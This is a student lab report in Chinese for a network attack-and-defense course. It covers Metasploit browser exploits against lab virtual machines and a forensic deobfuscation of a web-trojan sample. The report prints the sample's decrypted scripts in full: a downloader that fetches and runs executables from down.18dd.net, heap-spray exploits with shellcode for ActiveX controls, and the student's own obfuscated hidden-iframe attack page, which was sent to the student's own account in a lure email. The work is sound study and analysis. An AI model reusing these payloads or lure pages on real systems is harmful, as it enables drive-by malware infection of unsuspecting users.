20252812 2025-2026-2 《网络攻防实践》实践十一报告
20252812 2025-2026-2 《网络攻防实践》实践十一报告
1 实践内容
1.1 本周学习内容
1.1.1 Web浏览器技术
Web浏览器是目前互联网用户最常用的客户端软件。通过浏览器,用户能轻易、迅速地浏览万维网上的文字、图像、视频等。20世纪90年代初诞生的古典命令行浏览器仅实现了简单的HTTP客户端、HTML解析与渲染功能。后来高度注重用户感受的图形界面浏览器软件出现。现代Web服务要求浏览器能理解和支持HTML、XML、CSS、ECMAScript、DOM等语言和标准。目前Adobe Flash、Java和Silverlight是三种最普遍的RIA平台环境技术,帮助Web应用程序提供更友好的用户交互、客户端执行与展现效果。
1.1.2 浏览器面临的安全问题与威胁
在近几年的安全威胁演化趋势中,浏览器软件所面临的安全威胁,较操作系统与其他网络服务软件所面临的安全威胁而言,更加严重和流行。现代浏览器软件的复杂性意味着更多的错误和安全缺陷,这也就导致了目前浏览器中存在可被渗透攻击所利用的大量安全漏洞。Web浏览环境中每个组件都面对着各种不同类型的安全威胁。安全威胁主要有这四方面:(1)针对传输网络的网络协议安全威胁。(2)针对Web浏览端系统平台的安全威胁。(3)针对Web浏览器软件及插件程序的渗透攻击威胁。(4)针对互联网用户的社会工程学攻击威胁。
1.1.3 网页木马
网页木马有与特洛伊木马相似的特性:即被隐蔽地挂接在一些提供真实内容的网页上,当用户访问这些网页时,网页木马会神不知鬼不觉地向用户计算机中植入恶意程序。自从浏览器在20世纪90年代中期引入客户端执行脚本语言后,黑客们就开始利用这种在客户端执行脚本代码的机会,通过编写一些恶意的网页脚本,对浏览器及客户端计算机实施攻击。攻击者需要将网页木马挂接到一些拥有客户访问流量的网站页面上,这一过程被称为网页挂马。网页挂马有内嵌HTML标签、恶意Script脚本、内嵌对象链接、ARP欺骗挂马四种机制。内嵌对象链接指利用图片、Flash等内嵌对象中的特定方法来完成指定页面的加载,如利用Flash中的LoadMovie方法完成加载。
1.1.4 网络钓鱼
网络钓鱼是社会工程学在互联网中广泛实施的一种典型攻击方式,攻击者通过发送声称来自银行或其他知名机构的欺骗性垃圾邮件,引诱收信人给出一些信息(如用户名、口令、PIN)。早期网络钓鱼攻击以获得受害者的AOL等网络服务账号、信用卡数据为目的。现在网络钓鱼者首选的策略是通过大量散发诱骗邮件或信息,冒充成一个可信的组织机构,去引诱尽可能多的互联网用户。攻击者往往使用被攻陷的服务器搭建钓鱼攻击网络,钓鱼网页前端用于假冒金融机构、在线电子商务网站等。钓鱼网页后端用于收集用户信息。攻击者可能会使用IDN欺骗技术,使用Unicode编码的URL在浏览器地址栏呈现看似真实的网站地址。为防范网络钓鱼,我们应该:(1)对以中奖、优惠、紧急状态等为名义的邮件保持警惕。(2)充分利用浏览器、网络安全厂商软件提供的反钓鱼网站功能特性。(3)登录网上银行、证券等进行线上金融操作前确保网站真实。(4)通过学习、修炼提高自己抵抗社会工程学攻击的能力。
1.2 本周实践内容
1.2.1 Web浏览器渗透攻击
攻击机通过Metasploit实现网站挂马,靶机访问被挂马的网站,然后攻击机获得靶机的命令执行权限。
1.2.2 取证分析实践──网页木马攻击场景分析
进行网页挂马实际场景的分析,这项分析主要是分析文件。要通过哈希值下载文件。如果遇到二进制程序文件,要进行静态反汇编或动态调试。
1.2.3 攻防对抗实践──Web浏览器渗透攻击攻防
攻击方使用Metasploit构造出至少涉及两个浏览器漏洞的渗透攻击代码。防守方对挂马链接进行提取、解混淆分析,恢复出渗透代码的原始形态,并分析出其利用的漏洞。
2 实践过程
2.1 Web浏览器渗透攻击
2.1.1 准备工作
我从叶姜祺那里获取到了Windows2k虚拟机,我需要开展一些准备工作才能正式进入本实践环节。将Windows2k的网络设置为NAT,以便与Kali处于同一网段下。在Windows2k中,右键单击“我的电脑”,将主机名设置为我的姓名全拼xueqiancheng。

重启后,在命令行用“hostname”指令查询当前系统主机名,输出xueqiancheng,说明我已成功更改主机名。

在Windows2k中,在网络和拨号连接中将其IP地址设置为192.168.173.27,确认其和Kali在同一网段下。

然后在命令提示符执行ipconfig确认IP地址确实已变为192.168.173.27。

在Kali上ping 192.168.173.27,发现能连通。

在Kali上,用ifconfig查看到当前IP地址为192.168.173.68。

至此准备工作就被做完了,接下来我尝试用Kali的Metasploit攻陷Windows2k虚拟机。
打开Kali的msfconsole,然后search MS06-014,寻找与MS06_014有关的攻击模块,0号模块exploit/windows/browser/ie_createobject符合条件,于是我输入use 0进入到了此模块的配置中。

把payload设置为windows/shell/reverse_tcp,这个payload能通过TCP反射的方法提供shell连接。我把URIPATH设置为了/mJ3vS,这个参数将会进入攻击URL中。SRVHOST是服务器地址,被设置为了0.0.0.0,表示本主机,即192.168.173.68。SRVPORT被设为了26559,这是提供网页服务的端口号;LPORT被设置为了40573,这是用于获取shell的端口号。LHOST被设为了Kali的IP地址。我用show options查看模块配置,发现已被配置妥当,然后输入exploit开始攻击。此时恶意网页木马脚本已经被构造好了。Using URL: http://192.168.173.68:26559/mJ3vS说明当靶机访问http://192.168.173.68:26559/mJ3vS时会被网页所挂木马攻陷。

在Windows2000上,我打开IE浏览器,在地址栏输入http://192.168.173.68:26559,浏览器提示找不到页面。这说明靶机和服务器之间是连通的。如果不连通,浏览器会提示该页无法显示。

在地址栏输入http://192.168.173.68:26559/mJ3vS并回车,网页中只有LJkgWp……这样的杂乱字符串。

与此同时,Kali的终端上输出了一些信息,提示Sending EXE payload,说明传输了攻击数据。随后又输出Command shell session 2 opened,说明成功开启shell会话了,当前的渗透攻击状态是成功状态。

我在Metasploit中输入sessions -i 2进入远程控制会话SESSION,然后开始在靶机上执行远程命令,我执行了用于探究网络路径的tracert命令、dir命令、echo命令、查看网络状态的netstat命令。


以上现象说明Web浏览器渗透攻击成功了。
2.2 取证分析实践──网页木马攻击场景分析
从学习通下载start.html,将其更名为start20252812.html。
打开start20252812.html,搜索new09,找到了urlresult="new09.htm";这行,start20252812.html通过文件名直接引用new09.htm,而不是用完整路径引用,说明在Web目录中,start.html应该是与new09.htm在同一路径下。但是start20252812.html中没有与new09.htm有关的更多信息了。

我根据学习通上的相关资料得到了new09.htm的核心语句如下。
<iframe width='0' height='0' src='http://aa.18dd.net/aa/kl.htm'></iframe>
<script language="javascript" type="text/javascript" src="http://js.users.51.la/1299644.js"></script>
此HTM文件不直接包含完整的漏洞利用代码,它通过iframe内嵌kl.htm,然后通过script标签加载1299644.js,这符合网页木马常用的分层加载方式。
学习通里有上述代码涉及的文件。我从学习通上下载网页挂马分析实践-解压密码virus.zip,并用virus这个口令解压,将解压出的文件夹放在我的Windows11物理主机上,对其中部分文件、文件夹,在名称后添加20252812。考虑到需要借助Kali处理其中的有的文件,我把网页挂马分析实践的所有文件制作成了一个zip压缩包并上传到了Kali的/root文件夹下,我在Kali上解压了这个zip压缩包,把解压出的hashed和original文件夹放到了/root/20252812。

对http://aa.18dd.net/aa/kl.htm这个字符串求MD5哈希值得7f60672dcd6b5e90b6772545ee219bd3。对于http://js.users.51.la/1299644.js求MD5哈希值得23180a42a2ff1192150231b44ffdf3d3。


根据23180a42a2ff1192150231b44ffdf3d3,我在hashed20252812这个文件夹里找到了23180a42a2ff1192150231b44ffdf3d3这个文件,没有扩展名,我用记事本将其打开,里面没有代码,只有“本文件内容是流量统计代码,不是木马”这些字,说明该文件是无害的。

我在hashed20252812目录下找到了7f60672dcd6b5e90b6772545ee219bd3这个文件,用记事本打开,发现一大堆杂乱的可读字符,有一个名为t的超长字符串。其中有条代码t=utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'));,说明解密文件中的t部分时,先用base64解码,再用\x73\x63\x72\x69\x70\x74这个密钥用XXTEA解密算法。对照ASCII表,可知\x73\x63\x72\x69\x70\x74是script。

在https://gchq.github.io/CyberChef/中解密7f60672dcd6b5e90b6772545ee219bd3这个文件的t部分。解密分为三步:Base64解码、XXTEA解密、将JS转义字符串还原为可读文本。

保存解密结果为7f60-20252812.txt。文件内容如下。
<script>
eval("function init(){document.write();}
window.onload = init;
if(document.cookie.indexOf('OK')==-1){
try{var e;
var ado=(document.createElement("object"));
ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
var as=ado.createobject("Adodb.Stream","")}
catch(e){};
finally{
var expires=new Date();
expires.setTime(expires.getTime()+24*60*60*1000);
document.cookie='ce=windowsxp;path=/;expires='+expires.toGMTString();
if(e!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/1.js><\/script>")}
else{
try{var f;var storm=new ActiveXObject("MPS.StormPlayer");}
catch(f){};
finally{if(f!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/b.js><\/script>")}}
try{var g;var pps=new ActiveXObject("POWERPLAYER.PowerPlayerCtrl.1");}
catch(g){};
finally{if(g!="[object Error]"){
document.write("<script src=http:\/\/aa.18dd.net\/aa\/pps.js><\/script>")}}
try{var h;var obj=new ActiveXObject("BaiduBar.Tool");}
catch(h){};
finally{if(h!="[object Error]"){
obj.DloadDS("http://down.18dd.net/bb/bd.cab", "bd.exe", 0)}}
}}}")
</script>
阅读脚本可知,该脚本是网页木马加载器。代码中var expires=new Date();调用Date函数得到了包含精确时间的对象。该JS代码在一定的条件下会尝试利用MPS.StormPlayer(暴风影音控件)、POWERPLAYER.PowerPlayerCtrl.1(PPS控件)、BaiduBar.Tool(百度工具栏)开展攻击。代码包含的四个URL及其MD5哈希值见下表。
| URL | 哈希值 |
|---|---|
| http://aa.18dd.net/aa/1.js | 5d7e9058a857aa2abee820d5473c5fa4 |
| http://aa.18dd.net/aa/b.js | 3870c28cc279d457746b3796a262f166 |
| http://aa.18dd.net/aa/pps.js | 5f0b8bf0385314dbe0e5ec95e6abedc2 |
| http://down.18dd.net/bb/bd.cab | 1c1d7b3539a617517c49eee4120783b2 |
首先分析5d7e9058a857aa2abee820d5473c5fa4这个哈希值对应的文件,我打开以后发现里面是一系列用十六进制表示的内容。

将eval函数内部的十六进制内容放到cyberchef中处理,经历Find/Replace、Unescape string(将JS转义字符串还原为可读文本)、Javascript美化三步之后可得到格式较为规范的JS代码。我将输出的JS代码保存在1_20252812.js中。

1_20252812.js的代码如下。
var url = 'http://down.18dd.net/bb/014.exe';
try {
var xml = ado.CreateObject('Microsoft.XMLHTTP', '');
xml.Open('GET', url, 0);
xml.Send();
as.type = 1;
as.open();
as.write(xml.responseBody);
path = '..\\ntuser.com';
as.savetofile(path, 2);
as.close();
var shell = ado.createobject('Shell.Application', '');
shell.ShellExecute('cmd.exe', '/c ' + path, '', 'open', 0);
} catch (e) {
}
该JS脚本采用Microsoft.XMLHTTP请求远程地址http://down.18dd.net/bb/014.exe,再利用ADODB.Stream将HTTP响应体以二进制形式写入本地,保存到上一级目录中的ntuser.com。随后调用Shell.Application执行cmd.exe /c ..\ntuser.com。这脚本体现了downloader/dropper。脚本负责下载、执行二进制载荷。脚本中提到了var url = 'http://down.18dd.net/bb/014.exe',我对http://down.18dd.net/bb/014.exe求哈希值得ca4e4a1730b0f69a9b94393d9443b979,hashed文件夹中确实有文件名为ca4e4a1730b0f69a9b94393d9443b979的文件,但我暂时不分析此可执行文件。
3870c28cc279d457746b3796a262f166对应的文件内容如下。

文件内容不易懂,需要通过CyberChef处理。仔细分析可以发现内容采用了Packer类混淆,代码形态为eval(function(p,a,c,k,e,d){...})。CyberChef中没有直接可用的Packer Unpack操作,因此采用Node.js辅助进行Packer Unpack。Node.js是一个跨平台、开源、免费的Javascript运行环境,它使得开发者能用JS编写服务器端程序。为了对该文件进行处理,我将/root/20252812/hashed/3870c28cc279d457746b3796a262f166复制到Kali的/root这个目录下,并更名为了b_20252812.js。

将文件开头的eval改为console.log。

在Kali上安装nodejs,输入node -v查看其版本号,终端输出v24.15.0,说明nodejs已被安装好。接着执行node ./b_20252812.js > ./b0_20252812,js,即让nodejs处理b_20252812.js得到b0_20252812,js。

打开b0_20252812.js,发现其格式相比于b_20252812.js确实有所改变。

通过MobaXterm将b0_20252812.js传至物理主机,然后在物理主机上,将其内容粘贴到CyberChef进行内容美化。由于只进行JS美化,因此把前面的Find/Replace、Unescape string禁用掉。

将美化后得到的内容保存为b_version2_20252812.js,内容如下。
var bigblock = unescape('%u9090%u9090');
var headersize = 20;
var shellcode = unescape('%uf3e9%u0000' + '%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c' + '%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378' + '%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b' + '%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef' + '%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1' + '%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103' + '%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904' + '%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b' + '%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e' + '%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d' + '%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320' + '%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344' + '%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc' + '%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0' + '%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab' + '%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f' + '%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574' + '%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e' + '%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00' + '%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c' + '%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54' + '%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578%u0000');
var slackspace = headersize + shellcode.length;
while (bigblock.length < slackspace)
bigblock += bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length - slackspace);
while (block.length + slackspace < 262144)
block = block + block + fillblock;
memory = new Array();
for (x = 0; x < 300; x++)
memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 4068)
buffer += '\n\n\n\n';
storm.rawParse(buffer);
bigblock = unescape('%u9090%u9090')中0x90是NOP指令的机器码,bigblock用于构造NOP sled,用memory[x] = block + shellcode构建的memory数组用于堆喷射。shellcode中保存的应该是一些恶意指令的机器码。storm.rawParse(buffer)说明脚本尝试调用暴风影音控件的相关方法触发溢出漏洞。JS中的Array()方法能返回一个空的数组对象。其中%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u6662%u652e%u6578对应十六进制序列68 74 74 70 3a 2f 2f 64 6f 77 6e 2e 31 38 64 64 2e 6e 65 74 2f 62 62 2f 62 66 2e 65 78 65,在CyberChef中将此序列转为ASCII码为http://down.18dd.net/bb/bf.exe,指向一个可执行文件,对http://down.18dd.net/bb/bf.exe求MD5值得到268cbd59fbed235f6cf6b41b92b03f8e。暂时不分析bf.exe。

接下来分析5f0b8bf0385314dbe0e5ec95e6abedc2对应的文件。
文件的结构是eval("<十六进制代码>"),需要经过解密才能读懂其内容。

采用Find/Replace、Unescape string、Javascript Beautify三步操作解密文件,我将解密出的内容保存为pps_20252812.js。

pps_20252812.js的内容如下。
/*%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u*/
pps = document.createElement('object');
pps.setAttribute('classid', 'clsid:5EC7C511-CD0F-42E6-830C-1BD9882F3458');
var shellcode = unescape('%uf3e9%u0000' + '%u9000%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c' + '%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378' + '%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b' + '%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%u04c7' + '%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1' + '%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103' + '%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904' + '%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b' + '%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e' + '%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d' + '%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320' + '%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344' + '%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc' + '%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0' + '%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab' + '%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f' + '%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574' + '%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e' + '%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00' + '%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c' + '%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54' + '%u6946%u656c%u0041%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u7070%u2e73%u7865%u0065');
var bigblock = unescape('%u9090%u9090');
var headersize = 20;
var slackspace = headersize + shellcode.length;
while (bigblock.length < slackspace)
bigblock += bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length - slackspace);
while (block.length + slackspace < 262144)
block = block + block + fillblock;
memory = new Array();
for (x = 0; x < 400; x++)
memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 500)
buffer += '\n\n\n\n';
pps.Logo = buffer;
回想7f60_20252812.txt,pps_20252812.js是针对POWERPLAYER.PowerPlayerCtrl.1(PPS控件)的脚本文件,其目的应该是利用PPS控件的漏洞。var shellcode = unescape('%uf3e9%u0000'+...);、var bigblock = unescape('%u9090%u9090);分别构造了机器指令形式的shellcode和NOP sled。memory[x] = block + shellcode;中的memory数组用于进行堆喷射,它能将NOP sled和shellcode预先放置在浏览器内存中。pps.Logo = buffer给PPS的Logo属性赋予了超长字符串,触发溢出漏洞。上述代码用到了JS的substring函数,它用于提取字符串的子串,这个函数的调用规则是str.substring(indexStart, indexEnd),其中str为一个字符串,indexStart是提取子串的起始位置,indexEnd是提取字符串的结束位置。%u7468%u7074%u2f3a%u642f%u776f%u2e6e%u3831%u6464%u6e2e%u7465%u622f%u2f62%u7070%u2e73%u7865%u0065对应十六进制序列68 74 74 70 3a 2f 2f 64 6f 77 6e 2e 31 38 64 64 2e 6e 65 74 2f 62 62 2f 70 70 73 2e 65 78 65 00,去掉末尾的00,将其余部分转换为ASCII码得http://down.18dd.net/bb/pps.exe,指向名为pps.exe的文件。对http://down.18dd.net/bb/pps.exe求哈希值得ff59b3b8961f502289c1b4df8c37e2a4,hashed文件夹内确实有名为ff59b3b8961f502289c1b4df8c37e2a4的文件,在这里暂时不分析这个文件。
打开hashed20252812文件夹中的名称为1c1d7b3539a617517c49eee4120783b2的文件,发现乱码。1c1d7b3539a617517c49eee4120783b2文件对应的文件名是bd.cab。cab是Windows中的压缩格式,我需要解压才能知道1c1d7b3539a617517c49eee4120783b2到底是什么。

我把Kali上的/root/20252812/hashed/1c1d7b3539a617517c49eee4120783b2复制为/root/bd20252812.cab。

在Kali上安装cabextract,使用命令cabextract bd20252812.cab解压得bd.exe。


我用MobaXterm将bd.exe复制到了物理主机上,并更名为bd_20252812.exe。
对在刚才的分析过程中新发现的可执行文件汇总如下。
| 可执行文件 | URL | URL的MD5哈希值 |
|---|---|---|
| 014.exe | http://down.18dd.net/bb/014.exe | ca4e4a1730b0f69a9b94393d9443b979 |
| bf.exe | http://down.18dd.net/bb/bf.exe | 268cbd59fbed235f6cf6b41b92b03f8e |
| pps.exe | http://down.18dd.net/bb/pps.exe | ff59b3b8961f502289c1b4df8c37e2a4 |
| bd.exe | 无 | 无 |
对bd_20252812.exe和hashed目录内名称为ca4e4a1730b0f69a9b94393d9443b979、268cbd59fbed235f6cf6b41b92b03f8e、ff59b3b8961f502289c1b4df8c37e2a4的可执行文件分别求哈希值,求哈希值的办法是在powershell中用Get-FileHash命令求文件的哈希值。我发现这三个文件的哈希值均为1290ecd734d68d52318ea9016dc6fe63。说明这四个可执行文件其实是相同的。

通过拖拽,我把bd_20252812.exe放到了WindowsXP Attacker的下载文件夹。

尝试用超级巡警之虚拟机自动脱壳器对bd_20252812.exe进行脱壳,上传文件后发现似乎无需脱壳,因为无法点击“给我脱”按钮了,同时脱壳器显示了Borland Delphi v6.0 - v7.0这条信息,说明该可执行文件是用可视化应用程序开发工具Delphi编译的,且Delphi的版本号在6.0与7.0之间。

通过IDA Pro Free查看bd_20252812.exe。首先查看程序中的字符串。出现了SOFTWARE\\Borland\\Delphi\\RTL这个运行时库标识,这使我确认程序的编译环境是Borland Delphi。从可执行文件提取出的字符串集合中还有http://down.18dd.net/kl/0.exe、http://……/1.exe、http://……/2.exe等二十种可执行文件的下载连接,说明bd_20252812.exe具有Downloader(下载器)功能,会下载、执行远程服务器上的恶意组件。字符串集合中还有QueryServiceConfig2A、ChangeServiceConfig2V等Windows服务管理API函数名,这表明bd_20252812.exe可能具有操作Windows服务的功能。

再往下翻,发现“IE执行保护”、“允许执行”字样。上网查资料可知,IE执行保护是IE浏览器的一种保护机制,目的在于限制网页代码写入系统文件或注册表、阻止程序在数据页执行代码。bd_20252812.exe应该是为了执行恶意代码关闭了IE的执行保护功能,使得浏览器数据被允许执行。字符串集合中还有shell\\Auto\\command=说明bd_20252812.exe可能会通过受害主机的shell执行命令。

根据上述信息可知,bd_20252812.exe是个网页木马程序,其目的是利用IE浏览器的漏洞,攻破用户主机,执行系统命令。
2.3 攻防对抗实践──Web浏览器渗透攻击攻防
| 角色 | 操作系统 | IP地址 |
|---|---|---|
| 防守方 | Microsoft Windows 11 家庭版 中文版10.0.26200 | 192.168.173.106 |
| 攻击方 | 6.18.12-1kali1 | 192.168.173.68 |
2.3.1 攻击方的操作
我选择针对Microsoft Internet Explorer 6的CVE-2007-0038漏洞和针对Firefox3.6.16的CVE-2011-0065漏洞构建一个统一的挂马网页。下面我将用Metasploit构造出针对上述两个不同Web浏览端软件的安全漏洞的恶意链接。首先利用exploit/windows/browser/ms07_017_ani_loadimage_chunksize生成针对Microsoft Internet Explorer 6的CVE-2007-0038漏洞的恶意URL。在Metasploit中,先搜索exploit/windows/browser/ms07_017_ani_loadimage_chunksize,选择第二个,即针对IE6的那个,把payload设为windows/shell/reverse_tcp。

把服务端口设为38041,把URI设为/Gr6VD,将LPORT设为60184,然后用show options确认配置参数,接着输入exploit启动恶意服务,获得恶意链接http://192.168.173.68:38041/Gr6VD。

接着利用Firefox3.6.16的CVE-2011-0065漏洞生成恶意URL。在Metasploit中搜索exploit/windows/browser/mozilla_mchannel,选择3号模块,即针对Windows 7 + Java的那个模块。然后将payload设为windows/shell/reverse_tcp。

把提供Web服务的端口设为37519,把URI路径设置为/nJ3FX,将用于接收shell连接的LPORT设置为7491。执行show options确认参数已被正确配置,然后执行exploit。获取到了挂马URL为http://192.168.173.68:37519/nJ3FX。

用CyberChef将http://192.168.173.68:38041/Gr6VD转换为十六进制代码得687474703a2f2f3139322e3136382e3137332e36383a33383034312f4772365644。

用CyberChef将http://192.168.173.68:37519/nJ3FX转换为十六进制代码得687474703a2f2f3139322e3136382e3137332e36383a33373531392f6e4a334658。

启动Apache2并确认其状态为active。

创建/var/www/html/Yf,用于存储挂马HTML。

编写包含网页木马的HTML。网页的主题是反电信网络诈骗,与后续我将要发的欺骗性电子邮件主题一致。我将两个十六进制形式URL放入到了此HTML文件里,无法直接看出这两串十六进制数据是什么,需要JS脚本将十六进制URL还原为可读URL,这就实现了混淆处理。此HTML的名称是K6bW20252812.html,在/var/www/html/Yf内。后续我将分析K6bW20252812.html的内容。

挂马网页的URL是http://192.168.173.68/Yf/K6bW20252812.html,这说明我把两个挂马链接组装到了一个URL里。我需要在欺骗性邮件中放入这个URL。在Kali上,我用火狐浏览器登录账号为chengjli887@163.com的邮箱账号,在其中编辑欺骗性邮件。欺骗性邮件的主题是超有效的反诈诀窍,邮件的内容部分给出了提供反诈窍门的链接,实则是恶意链接。收件人是我的另一个163邮箱账号。

成功发送出了欺骗性邮件。

2.3.2 防守方的操作
为检测Web连接的有效性,在靶机浏览器输入http://192.168.173.68/index.html,发现能正常访问。

防守方是Windows11实体机,没有IE6,也没有Firefox3.6.16,因此访问挂马网页时不会遭受攻击。
防守方以Uc8Fm_Ia2Nvp@163.com登录163邮箱。在收件箱看到了欺骗性邮件。

打开欺骗性邮件,提取出其中的挂马链接是http://192.168.173.68/Yf/K6bW20252812.html。

去http://192.168.173.68/Yf/K6bW20252812.html访问包含网页木马的网站。由于防守方的浏览器不是攻击方Metasploit指定的浏览器,所以攻击方的Metasploit不会发起攻击。网页中有一些反诈技巧,没有看出挂马链接存在的痕迹。

对挂马链接进行解混淆分析的方法很简单,就是用开发者模式查看网页的源代码。我查看到的HTML代码已经不是原本的HTML的代码了,因为原HTML代码内嵌的JS代码转化为HTML文件的内容了。用开发者模式看到的挂马链接已经经过JS的计算而现出了原形,两个链接分别是http://192.168.173.68:38041/Gr6VD、http://192.168.173.68:37519/nJ3FX。

在开发者模式中点击源代码标签,打开Web目录中的K6bW20252812.html,其中的内容就是原本的HTML文件的内容。

把K6bW20252812.html保存为本地文件K6bW_20252812.html。然后分析其内容。
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>反电信诈骗宣传</title>
</head>
<body>
<h3>防范杀猪盘诈骗</h3>
<p>为了防范自己遭遇杀猪盘诈骗,切勿轻信网上的陌生人。在网上谈恋爱时,理性评估“对象”提供的投资机会。</p>
<h3>防范刷单返利诈骗</h3>
<p>为了防范自己遭遇刷单返利类诈骗,切勿轻信“充值越多,返利越多”。</p>
<h3>防范冒充电商物流客服诈骗</h3>
<p>为了防范自己遭遇冒充电商物流客服诈骗,当商家或物流公司要求脱离正规平台操作时,要立即报警。</p>
<script>
function h2s(h) {
var s = "";
for (var i = 0; i < h.length; i += 2) {
s += String.fromCharCode(parseInt(h.substr(i, 2), 16));
}
return s;
}
function loadHiddenFrame(url) {
var f = document.createElement("iframe");
f.src = url;
f.width = "1";
f.height = "1";
f.style.display = "none";
document.body.appendChild(f);
}
var u1 = "687474703a2f2f3139322e3136382e3137332e36383a33383034312f4772365644";
var u2 = "687474703a2f2f3139322e3136382e3137332e36383a33373531392f6e4a334658";
window.onload = function () {
loadHiddenFrame(h2s(u1));
loadHiddenFrame(h2s(u2));
};
</script>
</body>
</html>
头部中charset="utf-8"表明编码方式是UTF-8。title标签中的“反电信诈骗宣传”在访问网页时会显示在网页的标签上。在body部分,分别针对防范杀猪盘诈骗、防范刷单返利诈骗、防范冒充电商物流客服诈骗给出了反诈诀窍。最关键的是body标签内的script标签中的内容。h2s函数用于将十六进制序列转换为原本的字符串。其中String.fromCharCode函数用于将一串Unicode编码值转换并拼接成对应的字符串。K6bW_20252812.html中定义的loadHiddenFrame函数用于在HTML的body部分新增iframe区域,并以传入的参数url作为iframe的src。iframe用于在当前HTML文档中嵌入另一个HTML文档或浮动框架。字符串u1对应http://192.168.173.68:38041/Gr6VD,运行JS脚本时会将u1转化为正常URL,并放到iframe中加载。字符串u2对应http://192.168.173.68:37519/nJ3FX,运行JS脚本时会将u2转化为正常URL,并放到iframe中加载。body部分结束后,整个K6bW_20252812.html也就结束了。
若用IE6访问http://192.168.173.68:38041/Gr6VD,则攻击方的Metasploit会利用Microsoft Internet Explorer 6的CVE-2007-0038漏洞发起攻击;若用Firefox3.6.16访问http://192.168.173.68:37519/nJ3FX,则攻击方的Metasploit会利用Firefox3.6.16的CVE-2011-0065漏洞发起渗透攻击。
3 学习中遇到的问题及解决
- 问题1:在实验的第一环节──浏览器渗透攻击中,我使用windows/shell/bind_tcp这个payload,结果失败了。开启了会话1,但是会话1被立即关闭了。
![image]()
- 问题1解决方案:将payload更换为windows/shell/reverse_tcp,保持基本的攻击参数不变。在Windows2k上重新进入浏览器并访问包含网页木马的URL,然后Kali就成功攻陷Windows2k了。
- 问题2:用
https://cyberchef.org/这个URL进入CyberChef网站,但我没有在CyberChef网站内找到XXTEA解密模块。 - 问题2解决方案:我看了肖某飞同学的实验报告,发现他使用CyberChef网站时,截图中的URL不是
https://cyberchef.org/,而是https://gchq.github.io/CyberChef/。我用https://gchq.github.io/CyberChef/这个URL进入另外一个相似的CyberChef网站,然后发现里面有XXTEA解密模块。
4 实践总结
